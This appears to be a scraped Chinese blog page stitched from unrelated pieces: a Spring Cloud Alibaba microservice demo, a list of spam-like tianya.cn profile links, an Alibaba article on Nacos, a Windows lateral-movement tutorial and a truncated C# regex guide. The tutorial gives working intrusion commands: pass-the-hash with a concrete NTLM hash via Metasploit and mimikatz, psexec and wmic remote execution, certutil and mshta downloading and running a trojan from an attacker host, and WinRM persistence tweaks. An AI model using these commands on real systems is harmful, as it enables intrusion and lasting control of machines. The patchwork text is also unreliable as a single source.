分类 大观园 下的文章

微服务架构介绍

Spring Cloud Alibaba推荐的微服务生态架构基于分层架构实现如下:


接入层:最外层为LVS+Keepalived,可承受几十万级高并发流量洪峰,然后再通过内层的nginx集群将客户端请求通过负载均衡策略转发至基于JAVA后端技术栈的Spring Cloud Gateway集群;


业务中台层:Spring Cloud Gateway微服务通过Nacos获取路由配置信息和路由后端微服务提供者的发现,通过OAuth2做统一登录授权,并集成整合Sentinel针对请求做限流、熔断、降低,基于dubbo协议的高性能RPC进行微服务调用或者服务聚合调用,而后端微服务之间调用也是采用dubbo协议的rpc,对于需要分布式事务服务端则通过Seata实现。


技术中台层:数据存储层包括内存、数据库、全文检索搜索引擎存储层;基础服务层提供分布式系统常见基础组件功能;日志采集层采用ELK


系统监控层:分布式链路追踪、基于容器化的监控和告警



微服务生态涉及技术点如下



Maven整合工程入门案例

shopping-demo源码地址

https://gitee.com/yongzhebuju/shopping


功能简介


本示例主要对微服务使用Nacos实现配置中心读取、服务注册和服务发现,微服务网关实现路由策略并整合sentinel实现限流,微服务之间使用Dubbo高性能RPC进行调用。


本案例主要包含一下几个demo模块


commons:公共服务模块,存放公共pojo实体类和微服务接口模块,比如Dubbo服务提供者接口定义、基于Open Feign远程调用服务提供者接口定义等,公共模块pom可以配置一些公共引用依赖如spring-cloud-starter-alibaba-nacos-config和spring-cloud-starter-alibaba-nacos-discovery等,这样其他微服务只需依赖公共模块即可


gateway:微服务入口网关模块,负责微服务路由、授权认证、微服务聚合等功能处理


users:用户模块,提供获取用户接口


good:商品模块,提供商品接口,需要调用用户接口


核心源码和配置

工程父pom文件主要包含Spring Boot、Spring Cloud、Spring Cloud Alibaba的父依赖


<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>com.itxs</groupId>    <artifactId>shopping</artifactId>    <packaging>pom</packaging>    <version>1.0-SNAPSHOT</version>    <parent>        <groupId>org.springframework.boot</groupId>        <artifactId>spring-boot-starter-parent</artifactId>        <version>2.3.12.RELEASE</version>    </parent>    <modules>        <module>shopping_commons</module>        <module>shopping_goods</module>        <module>shopping_users</module>        <module>shopping_gateway</module>    </modules>    <properties>        <java.verson>1.8</java.verson>        <spring.cloud.verison>Hoxton.SR12</spring.cloud.verison>        <spring.cloud.alibaba.verison>2.2.1.RELEASE</spring.cloud.alibaba.verison>    </properties>    <dependencyManagement>        <dependencies>            <dependency>                <groupId>org.springframework.cloud</groupId>                <artifactId>spring-cloud-dependencies</artifactId>                <version>${spring.cloud.verison}</version>                <type>pom</type>                <scope>import</scope>            </dependency>            <dependency>                <groupId>com.alibaba.cloud</groupId>                <artifactId>spring-cloud-alibaba-dependencies</artifactId>                <version>${spring.cloud.alibaba.verison}</version>                <type>pom</type>                <scope>import</scope>            </dependency>        </dependencies>    </dependencyManagement> </project>


微服务yml配置文件,微服务的配置都放在Nacos配置中心,每个微服务本地配置文件只需配置服务名称、激活的环境以及配置中心地址、配置文件扩展名、命名空间和组即可。下面为网关配置文件,其他模块配置文件与此类似


spring:  profiles:    active: dev  cloud:    nacos:      config:        server-addr: localhost:8848        file-extension: yaml        namespace: 54c53c3a-6008-4ecc-90fe-2ffcae64b95b        group: shopping  application:    name: gateway


commons 实体类和暴露获取用户接口服务


package com.itxs.entity;import java.io.Serializable;public class User implements Serializable {    private String name;    private Integer age;    public User(String name, Integer age) {        this.name = name;        this.age = age;    } }package com.itxs.service;import com.itxs.entity.User;public interface UserService {    User getUser(String userId); }


users微服务获取用户接口实现


package com.itxs.service;import com.itxs.entity.User;import org.apache.dubbo.config.annotation.Service;@Servicepublic class UserServiceImpl implements UserService{    @Override    public User getUser(String userId) {        System.out.println("userId:"+userId);        return new User("zhangsan",16);    } }


users controller实现类,在这里也提供http协议调用方式


package com.itxs.controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class UserController {    @RequestMapping("/users/1")    public String getUser(){        return "hello users";    } }


goods controller


package com.itxs.controller;import com.itxs.entity.User;import com.itxs.service.UserService;import org.apache.dubbo.config.annotation.Reference;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;@RestControllerpublic class GoodsController {    @Reference    UserService userService;    @RequestMapping("/goods/1")    public String getGoods(){        return "hello goods";    }    @RequestMapping("/goods/user")    public String getUserInfo(){        User user = userService.getUser("a1001");        return user.toString();    } }


Nacos 配置中心

启动本地Nacos server端,访问本地nacos管理界面http://localhost:8848/nacos,默认端口是8848,默认用户密码nacos/nacos,在dev命名空间下有网关、用户、商品微服务配置文件,都使用shoopping组



users-dev.yaml


server:  port: 8081spring:  profiles:    active: dev  cloud:    nacos:      discovery:        server-addr: 192.168.3.3:8848        namespace: 54c53c3a-6008-4ecc-90fe-2ffcae64b95b        group: shopping    sentinel:      enabled: true      transport:        dashboard: localhost:8888        port: 8719  application:    name: users


goods-dev.yaml


server:  port: 8082spring:  profiles:    active: dev  cloud:    nacos:      discovery:        server-addr: 192.168.3.3:8848        namespace: 54c53c3a-6008-4ecc-90fe-2ffcae64b95b        group: shopping    sentinel:      enabled: true      transport:        dashboard: localhost:8888        port: 8729  application:    name: goods


gateway-dev.yaml


server:  port: 8083spring:  profiles:    active: dev  main:    allow-bean-definition-overriding: true  cloud:    nacos:      discovery:        server-addr: 192.168.3.3:8848        namespace: 54c53c3a-6008-4ecc-90fe-2ffcae64b95b        group: shopping    sentinel:      enabled: true      transport:        dashboard: localhost:8080        port: 8719    gateway:      discovery:        locator:          lowerCaseServiceId: true          enabled: true      routes:        - id: users_route          uri: lb://users          predicates:            - Path=/users/**        - id: goods_route          uri: lb://goods          predicates:            - Path=/goods/**      application:    name: gatewaymanagement:  endpoints:    web:      exposure:        include: "*"


Sentinel控制台

通过Sentinel源码项目启动Sentinel控制台,是一个Spring Boot项目



访问本地Sentinel控制台界面http://localhost:8080/,默认端口是8080,默认用户密码sentinel/sentinel,由于暂时没有做持久化功能,所以刚进来是内容是空的



微服务启动

启动网关、用户、商品三个微服务,用户微服务端口为8081,商品微服务端口为8082,网关微服务端口为8083



先不通过网关直接访问goods微服务http://localhost:8082/goods/1,走http方式调用接口



通过网关路由配置我们访问用户服务http://localhost:8083/users/users/1 ,访问结果正确



继续访问商品接口服务http://localhost:8083/goods/goods/1 ,访问结果正确



访问商品服务调用用户服务 http://localhost:8083/goods/goods/user ,访问结果正确



Sentinel控制台设置下限流规则,针对goods/goods/user 这个触点链路进行流控设置





当我们每秒访问在两次内还是会访问正常,我们连续快速按F5刷新则会出现Blocked by Sentinel: FlowException,这个是默认Sentinel返回限流提供,我们也可以实现自定义限流提示







http://www.tianya.cn/143521411/profile


http://www.tianya.cn/143518697/profile


http://www.tianya.cn/143521486/profile


http://www.tianya.cn/143521503/profile


http://www.tianya.cn/143521536/profile


http://www.tianya.cn/143521568/profile


http://www.tianya.cn/143521568/profile


http://www.tianya.cn/142585408/profile


http://www.tianya.cn/143521411/


http://www.tianya.cn/143518697/


http://www.tianya.cn/143521486/


http://www.tianya.cn/143521503/


http://www.tianya.cn/143521536/


http://www.tianya.cn/143521568/


http://www.tianya.cn/143521568/


http://www.tianya.cn/142585408/


http://www.tianya.cn/143521411


http://www.tianya.cn/143518697


http://www.tianya.cn/143521486


http://www.tianya.cn/143521503


http://www.tianya.cn/143521536


http://www.tianya.cn/143521568


http://www.tianya.cn/143521568


http://www.tianya.cn/142585408


http://www.tianya.cn/140397500/profile


https://www.tianya.cn/140397500/


12.16


http://www.tianya.cn/142776503/profile


http://www.tianya.cn/142776503 作者:啊实打实发r534 https://www.bilibili.com/read/cv14451158 出处:bilibili


阿里云原生三位一体战略解读



阿里巴巴开源、自研、商业化技术三位一体,用公有云支持阿里集团上云,以开源为内核做内部扩展,以商业化为基础做内部定制;后端BaaS化,客户端轻量化,业务侧Serverless化。



Nacos作为整个阿里云原生三位战略中的核心组成部分,我们在2018年以Configserver/VIPServer/Diamond为基础通过Nacos开源输出阿里十年沉淀的注册中心和配置中心能力,并且快速成为国内首选。并且通过云产品MSE以BaaS模式输出解决方案能力。



Nacos开源三年以来,打造了完整的云原生技术生态,成为国内的事实标准,并且通过社区推动开放共建,通过阿里丰富产品打磨产品性能和可用性,通过商业化打造产品极致体验,更安全的产品能力,满足企业用户的生产要求。从而全方位锤炼Nacos各个维度的能力,正循环持续增强产品竞争力!下面我从开源、自研、商业化三个维度进行更深入的分享。



Nacos 生态&规划



Nacos 生态



Nacos几乎支持所有主流语言,其中Java/Golang/Python已经支持Nacos2.0长链接协议,能最大限度发挥Nacos性能。阿里微服务 DNSDubbo+Nacos+Spring-cloud-alibaba/Seata/Sentinel)最佳实践,是Java微服务生态最佳解决方案;除此之外,Nacos也对微服务生态活跃的技术做了无缝的支持,如目前比较流行的Envoy、Dapr等,能让用户更加标准获取微服务能力。



Nacos 规划



自从Nacos 2.0发布以来,凭借10倍性能提升激发社区活力,进入国内开源项目活跃度Top10,并且成为行业首选。随着Nacos2.0的成熟,后续Nacos1.X将进入维护状态,Nacos 2.0.X将做1.X到2.X的过度,从2.1.0版本我们将去掉过度升级逻辑,让Nacos2.0代码更加清爽,性能更加卓越,并且加速插件化和服务网格生态的进化速度,期望对此感兴趣小伙伴一起共建!!!



Nacos 阿里落地实践



Nacos 阿里百万实例微服务架构



由于阿里巴巴已经发展到百万实例级的超大集群,为了更高的性能和扩展性,我们按照职能将Nacos切分成注册中心和配置中心两个集群;建议超过10w实例规模公司从早期做好拆分。小的时候部署到一起运维和部署代价是最小的。统一接入按照流量网关和微服务网关做了两层拆分,Tengine负责流量网关,主要抗连接,证书卸载和弱七层流量控制;Envoy负责微服务网关部分,负责服务治理,协议转化,跨域互通等场景;建议超过100w/s建议做两层,不超过一层具有最佳性价比。阿里在国际化业务中将服务路由和异地多活切流能力下沉到Sidecar,并且大规模落地中,以便通过异地多活体系按照Region级别扩展集群。



目前为止,阿里云原生网关,注册中心和配置中心所有单元环境全部切到公有云产品MSE中,并且经过了99大促的验证,并且以此支持今年双十一。



Nacos 服务发现实践



随着业务规模和业务域扩大,大公司基本都会遇到跨域互通的问题,阿里巴巴通过云原生网关打通多个业务域,如钉钉和其他集团业务域互通,通过MSE的云原生网关互通,通过Dubbo3.0的Triple协议互调,没有任何协议转化的消耗,效率高,rt低,还可以通过网关配置简单的路由切分逻辑提升整体高可用。在阿里巴巴落地服务网格过程中Istio不能满足阿里规模要求,因此服务链路直接跟Nacos注册中心打通,路由规则通过Istio对接Nacos配置中心打通,以便能够大规模生产落地。



Nacos配置管理实践



阿里能够喝着咖啡搞大促的一个底层技术就是动态配置管理+预案系统(定时修改规则配置)。Nacos作为动态配置管理的基础支撑着整个双十一的核心业务。 如阿里巴巴混部快速交付一个单元环境后,会动态推送单元化规则引流到新的混部环境,大促开始前会对日志采样率规则进行调整,防止过多日志对系统性能造成影响。



Nacos 解决方案



微服务解决方案



微服务引擎(Micro Service Engine,简称 MSE)是一个面向业界主流开源微服务生态的一站式微服务平台。



用户可以在注册&配置中心、服务框架、云原生网关、服务治理四个模块随意组合,可以选择商业化产品,也可以选择自建产品,如果全部选择我们解决方案,可以直接获得阿里十年沉淀的核心竞争力。



服务网格解决方案



阿里服务网格(简称 ASM)是一个统一管理微服务应用流量、兼容Istio的托管式平台。



Nacos用户可用通过 MSE + ASM 两个产品快速组合直接进入服务网格时代。ASM 中Istio通过标准 MCP协议跟MSE 中 Nacos打通服务,MSE服务治理基于ASM流量治理原子API 做服务治理,我们的云原生网关也是基于Envoy构建,这样就可以通过Istio标准的控制东西南北流量,进而提升整个微服务高可用能力。



跨域互通解决方案



一般大公司都会有跨业务域、网络域、安全域、跨云等场景服务互通的需求,MSE云原生网关打通多个业务域,几乎所有用户都能用此方式解决,该模式通用,可管控,安全; 如果是一个网络域内,并且业务交集多,流量大,可以用Nacos-Sync组件做跨注册中心服务互通,跨域流量超过100w/s建议再考虑此种模式,该模式管控代价比较大,只能在网络互通、协议一致场景使用。 当然还有很多用户采用多注册和多订阅完成跨域互通,这样更无法管控跨域互通,风险无法识别,并且对研发有代价。



微服务高可用解决方案



随着数字化进程的演进,很多公司跟阿里巴巴一样会搞大促活动,这样峰值流量可能压垮整个系统,导致巨大经济损失,如果准备过多资源会导致资源浪费。这种场景下可以采用阿里巴巴的PTS+MSE+AHAS+ARMS+ACK产品组合,边压、边限流、边看,边弹。通过PTS模拟用户流量做全链路压测,通过MSE中云原生网关做入口限流,并且通过Nacos发现后端服务转发,通过ARMS做服务可用性和服务治理观测,通过链路追踪分析超时、异常等问题,容量不够通过ACK弹性,从而在性能、高可用、和资源利用率之间做最大平衡。



异地多活解决方案



对于快递、政府、医疗、金融等国际民生的领域,对业务可用性要求极高,需要具备异地多活的能力。阿里云MSHA提供同城多活和异地多活两种多活模式,底层采用MSE为微服务基础。MSE在一个Region内提供同AZ访问能力,具备同城容灾能力,单AZ故障,MSHA从入口将流量切到可用AZ快速恢复。 Region之间通过MSE云原生网关互通,解决服务部署不对等的跨域访问问题,MSHA通过全局控制流量入口,一个区域不可用从入口开始切流恢复业务。



作者:彦林(李艳林),彦林(李艳林),Nacos PMC,阿里云 MSE 产品创始人,阿里云软负载团队负责人。



原文链接:http://click.aliyun.com/m/1000295115/



本文为阿里云原创内容,未经允许不得转载。


一、远程执行命令方式及对应端口:

 

 IPC$+AT 445
 PSEXEC 445
 WMI 135
 Winrm 5985(HTTP)&5986(HTTPS)

 

 

二、9种远程执行cmd命令的方法:

 

1.WMI执行命令方式,无回显:

wmic /node:192.168.1.158 /user:pt007 /password:admin123  process call create "cmd.exe /c ipconfig>d:\result.txt"

 

2.使用Hash直接登录Windows(HASH传递)

抓取windows hash值,得到administrator的hash:
598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF

msf调用payload:
use exploit/windows/smb/psexec 
show options
set RHOST 192.168.81.129
set SMBPass 598DDCE2660D3193AAD3B435B51404EE:2D20D252A479F485CDF5E171D93985BF
set SMBUser Administrator
show options
run

 

3. mimikatz传递hash方式连接+at计划任务执行命令:

mimikatz.exe privilege::debug "sekurlsa::pth /domain:. /user:administrator /ntlm:2D20D252A479F485CDF5E171D93985BF" //传递hash
dir \\192.168.1.185\c$

 

4.WMIcmd执行命令,有回显:

WMIcmd.exe -h 192.168.1.152 -d hostname -u pt007 -p admin123 -c "ipconfig"

程序下载地址:
https://github.com/nccgroup/WMIcmd/releases

 

5.Cobalt strkie远程执行命令与hash传递攻击:

 

6. psexec.exe远程执行命令

psexec /accepteula //接受许可协议
sc delete psexesvc
psexec \\192.168.1.185 -u pt007 -p admin123 cmd.exe

 

7.psexec.vbs远程执行命令

cscript psexec.vbs 192.168.1.158 pt007 admin123 "ipconfig"

 

8.winrm远程执行命令

 

//肉机上面快速启动winrm服务,并绑定到5985端口:
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
netstat -ano|find "5985"
//客户端连接方式:
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /all"
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 cmd
//UAC问题,修改后,普通管理员登录后也是高权限:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
winrs -r:http://192.168.1.152:5985 -u:pt007 -p:admin123 "whoami /groups"

 

9.远程命令执行sc

//建立ipc连接(参见net use + at)后上传等待运行的bat或exe程序到目标系统上,创建服务(开启服务时会以system 权限在远程系统上执行程序):

net use \\192.168.17.138\c$ "admin123" /user:pt007
net use
dir \\192.168.17.138\c$
copy test.exe \\192.168.17.138\c$
sc \\192.168.17.138 create test binpath= "c:\test.exe"
sc \\192.168.17.138 start test
sc \\192.168.17.138 del test


以下所有实验均在工作组环境下


psexec

psexec.exe \\ip –accepteula -u username -p password program.exe

psexec.exe \\host -accepteula -u domain\username -p password -d -c

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。

如果是域环境的话,命令为PsExec.exe \\192.168.23.99 -u test\lisi -p 123 -c cmd


获取对方主机的账号密码后且对方开启445端口,可以使用psexec来进行远程命令执行。

psexec \\172.16.99.233 -u administrator -p 123 -c cmd.exe 获取cmdshell

psexec \\172.16.99.233 -u administrator -p 123 -c muma.exe

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。


使172.16.99.233主机执行在172.16.99.235上的muma.exe文件。达到了在远程主机执行本地文件的目的。攻击机器为172.16.99.235,muma.exe这个文件也在172.16.99.235这个主机上,但是通过上面的命令就可以使得这个文件执行在172.16.99.233这个主机上,进而达到远程控制的效果。


当psexec执行失败当时候,可以按住shift右键点击cmd选择以其他用户启动shell,输入高权限用户当凭据即可。如下图:



wmic

方法1:控制远程主机下载并执行文件

wmic /node:172.16.99.233 /user:Administrator /password:123  process call create "cmd /c  certutil.exe -urlcache -split -f http://172.16.99.233/muma.exe c:/windows/temp/putty3.exe & c:/windows/temp/putty3.exe"

1

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。


上述命令的意思是,连接172.16.99.233并创建一个进程,这个进程是使用cmd 执行命令去 http://172.16.99.233/muma.exe下载这个文件,并保存到本地的 c:/windows/temp/putty3.exe并执行。


方法2:复制本地文件到远程主机并控制远程主机执行

copy muma.exe \\172.16.99.233\c$\windows\temp\test.exe  ##IPC拷贝木马文件

wmic /node:172.16.99.233 /user:administrator /password:123 process call create “c:\windows\temp\test.exe”

1

2

#这里面的账号密码都是被攻击机器的账号密码,ip与host也是被攻击主机的ip与host。



winrm服务

winrm是一种服务,通过WSMan协议实现与远程计算机的对话。有3种方式对其进行操作:

经测试,域控主机只能用winrm不能用mshta与wmic上线。且利用winrs命令上线的话shell会卡住。


1.winrm命令

2.winrs命令

3.powershell

1

2

3

windows server自2008开始默认启动winrm服务,默认情况下,WinRM服务后台已经运行,但并不开启监听模式,因此无法接受和发送数据。使用WinRM提供的quickconfig对WinRM进行配置后,Windows将开启监听并打开HTTP及HTTPS监听端口。


1.winrs

当目标开启winrm服务的时候:


winrs -r:yukong -u:test\administrator -p:123 "hostname"

winrs -r:lisi-win10 -u:test\administrator -p:123 "cmd.exe /c mshta http://192.168.124.7:8080/a.png"

winrs -r:lisi-win10 -u:test\administrator -p:123 "wmic os get /format:"http://192.168.124.7:8080/a.xsl""

1

2

3


如果目标没有开启winrm服务,则会报错:




2.winrm

如若当前机器开启了winrm则可查看状态


winrm enumerate winrm/config/listener

1



如果目标主机开启winrm服务,则可使用命令在远程主机执行命令,例如打开calc.exe:


winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:lisi-win10 -u:test\administrator -p:123

winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c mshta http://192.168.124.7:8080/a.png"} -r:lisi-win10 -u:test\administrator -p:123

1

2



可知道程序已被打开,并且pid为4460,但当我登陆被攻击机器的时候发现,程序确实被打开,但是pid不是4460.


我们拿到一台主机后,如果当前主机没有开启winrm服务,我们可以在管理员权限下执行下面的命令来长期开启winrm服务,然后利用其账号密码进行长期控制:


powershell Enable-PSRemoting –force

powershell Set-Service WinRM -StartMode Automatic

1

2

winrm其他命令:


#查看WinRM状态

winrm enumerate winrm/config/listener

 

#开启WinRM远程管理

Enable-PSRemoting –force

 

#设置WinRM自启动

Set-Service WinRM -StartMode Automatic

 

#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,默认的5985端口

winrm quickconfig -q

#对WinRM服务进行快速配置,包括开启WinRM和开启防火墙异常检测,HTTPS传输,5986端口

winrm quickconfig -transport:https    

 

#查看WinRM的配置

winrm get winrm/config

 

#查看WinRM的监听器

winrm e winrm/config/listener

 

#为WinRM服务配置认证

winrm set winrm/config/service/auth '@{Basic="true"}'

 

#修改WinRM默认端口

winrm set winrm/config/client/DefaultPorts '@{HTTPS="8888"}'

 

#为WinRM服务配置加密方式为允许非加密:

winrm set winrm/config/service '@{AllowUnencrypted="true"}'

 

#设置只允许指定IP远程连接WinRM

winrm set winrm/config/Client '@{TrustedHosts="192.168.10.*"}'

 

#执行命令

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck '@{commandline="calc.exe"}'

 

#在dc机器上面执行命令并且指定用户名和密码

winrm invoke Create wmicimv2/win32_process @{CommandLine="calc.exe"} -r:dc -u:one\administrator -p:q123456.



3.powershell

Enter-PSSession -computer lisi-win10 #高权限用户可以直接控制低权限用户的主机

————————————————

版权声明:本文为CSDN博主「Shanfenglan7」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/qq_41874930/article/details/108245293


目录


第一章、简介


1.1、问题描述


1.2、System.Text.RegularExpressions.Regex.Match介绍


1.2.1、基本规则说明


1.2.2、Regex类常用的方法


1.2.3、Regex类应用举例


1.2.4、正则表达式


第二章、解决方案(WPF Demo)


2.1、WPF Demo


2.2、判断特殊字符(解决AETitle问题)


2.3、判断IP(解决IP地址问题)


2.4、判断端口号(解决端口号问题)


2.5、判断true或false


第三章、实践过程需注意的事项


3.1、验证汉字或中文的正则表达式


第一章、简介

1.1、问题描述

红色矩形的非法输入时,红色椭圆矩形内,会有红色的“*”提示。

IP的地址,一定是192.168.1.0这种类型。

端口号一般在1024~65535范围。

需要用到.net正则表达式大全中的Regex.Match,来判断合法输入与否。详情见1.2小结。

表达式不唯一,比如判断IP输入是否正确的方式,就有很多种。



1.2、System.Text.RegularExpressions.Regex.Match介绍

参考:https://www.cnblogs.com/linJie1930906722/p/6092238.html(已经非常详细,但要自己验证才知道怎么用)


1.2.1、基本规则说明

       正则表达式的本质是使用一系列特殊字符模式,来表示某一类字符串。正则表达式无疑是处理文本最有力的工具,而.NET的System.dll类库提供的System.Text.RegularExpressions.Regex类实现了验证正则表达式的方法。Regex 类表示不可变(只读)的正则表达式。它还包含各种静态方法,允许在不显式创建其他类的实例的情况下使用其他正则表达式类。


正则表达式的字符代表的说明:


字符


说明


\


转义字符,将一个具有特殊功能的字符转义为一个普通字符,或反过来


^


匹配输入字符串的开始位置


$


匹配输入字符串的结束位置


*


匹配前面的零次或多次的子表达式


+


匹配前面的一次或多次的子表达式


?


匹配前面的零次或一次的子表达式


{n}


n是一个非负整数,匹配前面的n的次子表达式


{n,}


n是一个非负整数,至少匹配前面的n的次子表达式


{n,m}


m和n均为非负整数,其中n<=m,最少匹配n次且最多匹配m次


?


当该字符紧跟在其他限制符(*,+,?,{n},{n,},{n,m})后面时,匹配模式尽可能少的匹配所搜索的字符串


.


匹配除”\n”之外的任何单个字符


(pattern)


匹配pattern并获取这一匹配


(?:pattern)


匹配pattern但不获取匹配结果


(?=pattern)


正向预查,在任何匹配pattern的字符串开始处匹配查找字符串


(?!pattern)


负向预查,在任何不匹配pattern的字符串开始处匹配查找字符串


x|y


匹配x或者y。例如,’z|food’能匹配”z”或”food”。’(z|f)ood’ 则匹配’zood’或’food’


[xyz]


字符集合。匹配所包含的任意一个字符。例如:’[abc]’可以匹配”plain”中的’a’


[^xyz]


负值字符集合。匹配为包含的任意字符。例如:’[^abc]’可以匹配”plain”中的’p’


[a-z]


匹配指定范围内的任意字符。例如:’[a-z]’可以匹配’a’到’z’范围内的任意小写字母字符


[^a-z]


匹配不在指定范围内的任意字符。例如:’[^b-z]’可以匹配不在 b~z内的任意字符


\b


匹配一个单词边界,指单词和空格间的位置


\B


匹配非单词边界


\d


匹配一个数字字符,等价于[0-9]


\D


匹配一个非数字字符,等价于[^0-9]


\f


匹配一个换页符


\n


匹配一个换行符


\r


匹配一个回车符


\s


匹配任何空白符,包括空格、制表符、换页符等


\S


匹配任何非空白字符


\t


匹配一个制表符


\v


匹配一个垂直制表符,等价于\x0b和\cK


\w


匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’


\W


匹配任何非单词字符,等价于’[^A-Za-z0-9_]’


注意:

由于在正则表达式中“ \ ”、“ ? ”、“ * ”、“ ^ ”、“ $ ”、“ + ”、“(”、“)”、“ | ”、“ { ”、“ [ ”等字符已经具有一定特殊意义,如果需要用它们的原始意义,则应该对它进行转义,例如希望在字符串中至少有一个“ \ ”,那么正则表达式应该这么写: "\\+"


1.2.2、Regex类常用的方法

(1)、静态Match方法

使用静态Match方法,可以得到源中第一个匹配模式的连续子串。

静态的Match方法有2个重载,分别是:


Regex.Match(string input, string pattern);  //第一种重载的参数表示:输入、模式

Regex.Match(string input, string pattern, RegexOptions options);  //第二种重载的参数表示:输入、模式、RegexOptions枚举的“按位或”组合。

RegexOptions枚举的有效值是:


1、None:指定不设置选项。表示无设置,此枚举项没有意义

2、IgnoreCase:指定不区分大小写的匹配。

3、Multiline:多行模式。更改 ^ 和 $ 的含义,使它们分别在任意一行的行首和行尾匹配,而不仅仅在整个字符串的开头和结尾匹配。表示多行模式,改变元字符^和$的含义,它们可以匹配行的开头和结尾

4、ExplicitCapture:指定有效的捕获仅为形式为 (?<name>...) 的显式命名或编号的组。这使未命名的圆括号可以充当非捕获组,并且不会使表达式的语法 (?:...)显得笨拙。表示只保存显式命名的组

5、Compiled:指定将正则表达式编译为程序集。这会产生更快的执行速度,但会增加启动时间。在调用 System.Text.RegularExpressions.Regex.CompileToAssembly(System.Text.RegularExpressions.RegexCompilationInfo[],System.Reflection.AssemblyName)方法时,不应将此值分配给 System.Text.RegularExpressions.RegexCompilationInfo.Options属性。  

6、Singleline :指定单行模式。更改点 (.) 的含义,使它与每一个字符匹配(而不是与除 \n 之外的每个字符匹配)。表示单行模式,改变元字符.的意义,它可以匹配换行符

7、IgnorePatternWhitespace: 消除模式中的非转义空白并启用由 # 标记的注释。但是,System.Text.RegularExpressions.RegexOptions.IgnorePatternWhitespace值不会影响或消除字符类中的空白。表示去掉模式中的非转义空白,并启用由#标记的注释   

8、RightToLeft:指定搜索从右向左而不是从左向右进行。表示从右向左扫描、匹配,这时,静态的Match方法返回从右向左的第一个匹配

9、ECMAScript: 为表达式启用符合 ECMAScript 的行为。该值只能与 System.Text.RegularExpressions.RegexOptions.IgnoreCase、System.Text.RegularExpressions.RegexOptions.Multiline和 System.Text.RegularExpressions.RegexOptions.Compiled 值一起使用。该值与其他任何值一起使用均将导致异常。表示符合ECMAScript,这个值只能和IgnoreCase、Multiline、Complied连用

10、CultureInvariant: 指定忽略语言中的区域性差异  RegularExpressions Namespace。表示不考虑文化背景

      注意:Multiline在没有ECMAScript的情况下,可以和Singleline连用。Singleline和Multiline不互斥,但是和ECMAScript互斥。


(2)、静态的Matches方法

这个方法的重载形式同静态的Match方法,返回一个MatchCollection,表示输入中,匹配模式的匹配的集合。  

(3)、静态的IsMatch方法

此方法返回一个bool,重载形式同静态的Matches,若输入中匹配模式,返回true,否则返回false。

可以理解为:IsMatch方法,返回Matches方法返回的集合是否为空。


1.2.3、Regex类应用举例

(1)、字符串替换:


//例如我想把如下格式记录中的NAME值修改为YONG

            string line = "ADDR=5449919;NAME=LINJIE;PHONE=45859";

            Regex reg = new Regex("NAME=(.+);");

            string modifiedStr = reg.Replace(line, "NAME=YONG;");

(2)、字符串匹配:


 string line = "ADDR=5449919;NAME=LINJIE;PHONE=45859";

            Regex reg = new Regex("NAME=(.+);");

            //例如我想提取line中的NAME值

            Match match = reg.Match(line);

            string value = match.Groups[1].Value;

            Console.WriteLine("value的值为:{0}", value);

(3)、Match方法的实例


//文本中含有"speed=68.9mph",需要提取该速度值,但是速度的单位可能是公制也可能是英制,mph,km/h,m/s都有可能;另外前后可能有空格。

            string line = "lane=5;speed=68.9mph;acceleration=3.6mph/s";

            Regex reg = new Regex(@"speed\s*=\s*([\d\.]+)\s*(mph|km/h|m/s)*");

            Match match = reg.Match(line);

            //那么在返回的结果中match.Groups[1].Value将含有数值,而match.Groups[2].Value将含有单位。

            var value = match.Groups[1].Value;

            var unit = match.Groups[2].Value;

            Console.WriteLine("speed的值为:{0} speed的单位是:{1}", value, unit);

(4)、解码gps的GPRMC字符串


//就可以获得经度、纬度值

Regex reg = new Regex(@"^\$GPRMC,[\d\.]*,[A|V],(-?[0-9]*\.?[0-9]+),([NS]*),(-?[0-9]*\.?[0-9]+),([EW]*),.*");

(5)、提取[]里面的值


            string pattern = @"(?is)(?<=\[)(.*)(?=\])";

            string result = new Regex(pattern).Match("sadff[我要提取你了]sdfdsf").Value;

(6)、提取()里面的值


            string pattern= @"(?is)(?<=\()(.*)(?=\))";

            string result = new Regex(pattern).Match("sad(我提取到了)dsf").Value;

(7)、提取{}里面的值


 string pattern = @"(?is)(?<=\{)(.*)(?=\})";

string result = new Regex(pattern).Match("sadff[{的d你]srd}sf").Value;

system.Text.RegularExpressions命名空间的说明

该名称空间包括8个类,1个枚举,1个委托。他们分别是: 

Capture: 包含一次匹配的结果;

CaptureCollection: Capture的序列;

Group: 一次组记录的结果,由Capture继承而来;

GroupCollection:表示捕获组的集合

Match: 一次表达式的匹配结果,由Group继承而来;

MatchCollection: Match的一个序列;

MatchEvaluator: 执行替换操作时使用的委托;

RegexCompilationInfo:提供编译器用于将正则表达式编译为独立程序集的信息

RegexOptions 提供用于设置正则表达式的枚举值

Regex类中还包含一些静态的方法:

Escape: 对字符串中的regex中的转义符进行转义;

IsMatch: 如果表达式在字符串中匹配,该方法返回一个布尔值;

Match: 返回Match的实例;

Matches: 返回一系列的Match的方法;

Replace: 用替换字符串替换匹配的表达式;

Split: 返回一系列由表达式决定的字符串;

Unescape:不对字符串中的转义字符转义。

1.2.4、正则表达式

(1)、数字正则表达式


